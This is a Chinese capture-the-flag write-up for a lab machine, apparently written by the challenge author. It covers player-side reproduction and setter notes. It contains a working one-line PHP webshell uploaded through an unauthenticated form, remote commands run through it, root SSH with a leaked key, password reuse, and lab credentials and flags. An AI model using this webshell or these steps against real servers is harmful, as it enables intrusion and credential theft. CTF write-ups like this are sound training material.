

Example 靶机 Writeup(PHP-FileServer)

日期:2026-08-23 靶机 IP:192.168.3.248(导出自 244,主机名 Example,Debian 13 / Apache 2.4.68 / PHP 8.4.23) 攻防双方角色:选手视角完整复现 + 出题配置记录

1. 攻击链总览

信息收集

- ├ 22 SSH (OpenSSH 10.0p2), 80 HTTP (Apache 2.4.68)
- ├ /server1/ 目录 → upload.php / login.php / search.php / share.php / download.php
- └ download.php 泄露绝对路径 /var/www/html/server1/...

Web 打点(未认证)

- └ upload.php 无认证任意文件上传 → webshell → www-data

找备份(www-data 视角)

- ├ /var/www/ 下有 build / files / backup 三个目录(混淆)
- └ /var/www/backup/site_backup_e506af43c953fcb7.tar.gz ← 复杂随机文件名

提权(二选一,双 flag)

- ├ 主链:包内 ssh/id_rsa(root 专用密钥)→ ssh -i root@IP → root.txt
- └ 支线:包内 php/config.php.bak → 管理员口令(=oranger SSH 口令)
→ ssh oranger → /home/oranger/user.txt

2. 详细过程(选手视角)

2.1 信息收集

```
$ nmap -Pn -sS -p- 192.168.3.248
22/tcp open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4
80/tcp open  http      Apache httpd 2.4.68 (Debian)

$ for p in server1/php/upload.php server1/php/login.php backup build files \
    server1/upload/ server1/share/ server1/.git/; do curl -s -o /dev/null -w "%p: %{http_code}\n" $p; done
server1/php/upload.php: 200
server1/php/login.php: 200
backup: 404      ← web 层不可达(设计正确)
build: 404
files: 404
server1/upload/: 200 ← 目录列表界面(ensure-index.php 产物)
server1/share/: 200
server1/.git/: 404 ← 无 .git 泄露

$ curl -s http://192.168.3.248/server1/php/download.php | grep -oE "/var/www/[a-z0-9/_\-\.\]*" | sort
/var/www/html/server1/ekke
/var/www/html/server1/install_mac
/var/www/html/server1/install_win
/var/www/html/server1/public
/var/www/html/server1/share
← download.php 无参数页面直接打印允许目录的绝对路径,选手由此得知 webroot 布局
```

2.2 Web 打点(upload.php 未认证上传)

```
$ echo '<?php passthru($_GET["c"]); ?>' > s.php
$ curl -s -X POST -F 'file=s.php' http://192.168.3.248/server1/php/upload.php
Feltöltés sikeres: s.php

$ curl "http://192.168.3.248/server1/upload/s.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

upload.php 无认证、无扩展名/内容过滤,上传到 webroot 可执行目录 `../upload/`,直接 RCE。

2.3 找备份

```
$ curl "http://192.168.3.248/server1/upload/s.php?c=ls+-la+/var/www/"
backup build files html ← 三个混淆目录 + webroot
$ curl "http://192.168.3.248/server1/upload/s.php?c=ls+-la+/var/www/backup/"
site_backup_e506af43c953fcb7.tar.gz (2556B, 0644 root:root, www-data 可读)

$ curl "http://192.168.3.248/server1/upload/s.php?c=base64+-w0+/var/www/backup/site_backup_e506af43c9"
$ tar tzf bk.tar.gz
./www/index_dir.php.old
./php/config.php.bak
./ssh/id_rsa
```

2.4 提权(主链:root 私钥)

```
$ chmod 600 ssh/id_rsa
$ ssh -i ssh/id_rsa root@192.168.3.248
root@Example:~# cat /root/root.txt
flag{root-bb21c4f9b49c53d8a08e453eba80ad92}
```

2.5 支线:口令复用 → oranger → user.txt

```
$ cat php/config.php.bak
$ADMIN_PASSWORD = "XxEjl1TBR8WIB7gJXZ1a"; ← web 管理员口令

$ ssh oranger@192.168.3.248 # 口令与 web 管理员相同
oranger@Example:~$ cat user.txt
flag{user-748d4f556da2f4be68e0ba4ea5c7565d}
```

3. 细节发现(出题质量清单)

3.1 穿帮 / 建议修复(本次未改,仅记录)

#	问题	影响	建议
1	私钥注释 <code>root@maze-backup</code>	泄露机器曾用名 "maze", 提示选手这是出题人放的钥匙,降低"真实备份"迷惑性	重新生成密钥(-C root@example)+ 重打备份包 + 更新 authorized_keys
2	备份包内 <code>config.php.bak</code> 注释 <code>// config backup 2026-08-23 - old login module before password rotation</code>	时间戳是打包当天,与"旧备份"人设微冲突(可接受)	可选:改成更早日期
3	服务器时区 EDT(UTC-4)	所有文件时间戳比本地时间晚半天(8月22日 vs 23日),与选手环境对不上,稍显穿帮	可选:timedatectl set-timezone Asia/Shanghai

3.2 信息泄露(可接受/低危)

项	说明
download.php 无参数打印允许目录绝对路径	帮助选手定位 webroot,无害(本来就是允许下载的目录)
index_dir.php 页面硬编码 <code>nemeth-bence.com</code>	源码遗留开发者域名,泄露开发者 GitHub(Bence542409),中低风险
upload/ 与 share/ 有 index.php 目录列表界面	ensure-index.php 的产物,展示 admin 登录入口,但口令强,无害;界面空目录无内容
login.php 有 admin 登录入口且口令为强随机	选手爆破不可行(无速率限制,但 21 位随机口令爆不出来)
Apache 默认页 It works	正常

3.3 防护有效性(已验证)

- `/backup` `/build` `/files` web 层全部 404(不在 DocumentRoot)→ 必须 shell 才能拿
- 备份文件名 16 位随机 hex,不可爆破
- `www-data` 可读备份(设计如此,备份 644 root:root)
- `oranger` 看不到 `/root`(700 root)→ `root.txt` 只能 root 读
- `user.txt` 644 `oranger:oranger` → `www-data` 读不到,必须 `oranger` 身份
- `indexdir.php` 直接访问空输出(`displayerrors` 关)→ 无报错泄露
- `download.php` 目录穿越 5 种编码全拦截(审计报告已验)
- `admin` 动作(`create/save_edit`)无会话 403

3.4 潜在风险提示

- **upload.php** 可上传 **.htaccess**:当前 Debian Apache 默认 `AllowOverride None` 不生效;若改过配置,选手可 `AddType` 扩大 RCE 面
- **upload.php** 无速率限制:可做磁盘填满 DoS(20MB/次)
- **ensure-index.php** 未认证:选手可洪水全站 `index.php`(每次 11 个)
- **share.php** 未认证:可创建固定模板 `.php` 文件(内容不可控) + 任意路径存在性 oracle(`realpath` 无根检查)

4. 出题配置存档

项	值
IP / 主机名	192.168.3.248 / Example(Debian 13)
Web	http://192.168.3.248/server1/(Apache 2.4.68, PHP 8.4.23)
root SSH	<code>GJj5mQJoPNJ5yBsKqoor</code> (出题人用;选手走私钥)
oranger SSH	<code>oranger</code> / <code>XxEjl1TBR8WIB7gJXZ1a</code> (= web 管理员口令)
web 管理员	login.php:5 硬编码 <code>XxEjl1TBR8WIB7gJXZ1a</code> (无数据库)
root 私钥	<code>/var/www/backup/sitebackupe506af43c953fcb7.tar.gz</code> → <code>ssh/id_rsa</code>
混淆目录	<code>/var/www/build</code> (<code>README.md</code> , <code>obj_dump.bin</code>)/ <code>/var/www/files</code> (<code>readme.txt</code> , <code>fragment.dat</code>)
user.txt	<code>/home/oranger/user.txt</code> = <code>flag{user-748d4f556da2f4be68e0ba4ea5c7565d}</code>
root.txt	<code>/root/root.txt</code> = <code>flag{root-bb21c4f9b49c53d8a08e453eba80ad92}</code>
flag 生成	<code>/root/give_flag user root(输出 flag{user-<md5>} / flag{root-<md5>})</code>

5. 预期难度评估

- 全链 3 个阶段:未认证 RCE(简单)→ 文件系统翻找(中等,取决于混淆程度)→ 私钥/口令复用(简单)
- 无任何凭据爆破、无漏洞利用(全部是配置/逻辑问题)
- 双 flag 双身份路线,主链跳过 `oranger` 也能通关 root flag,支线补 user flag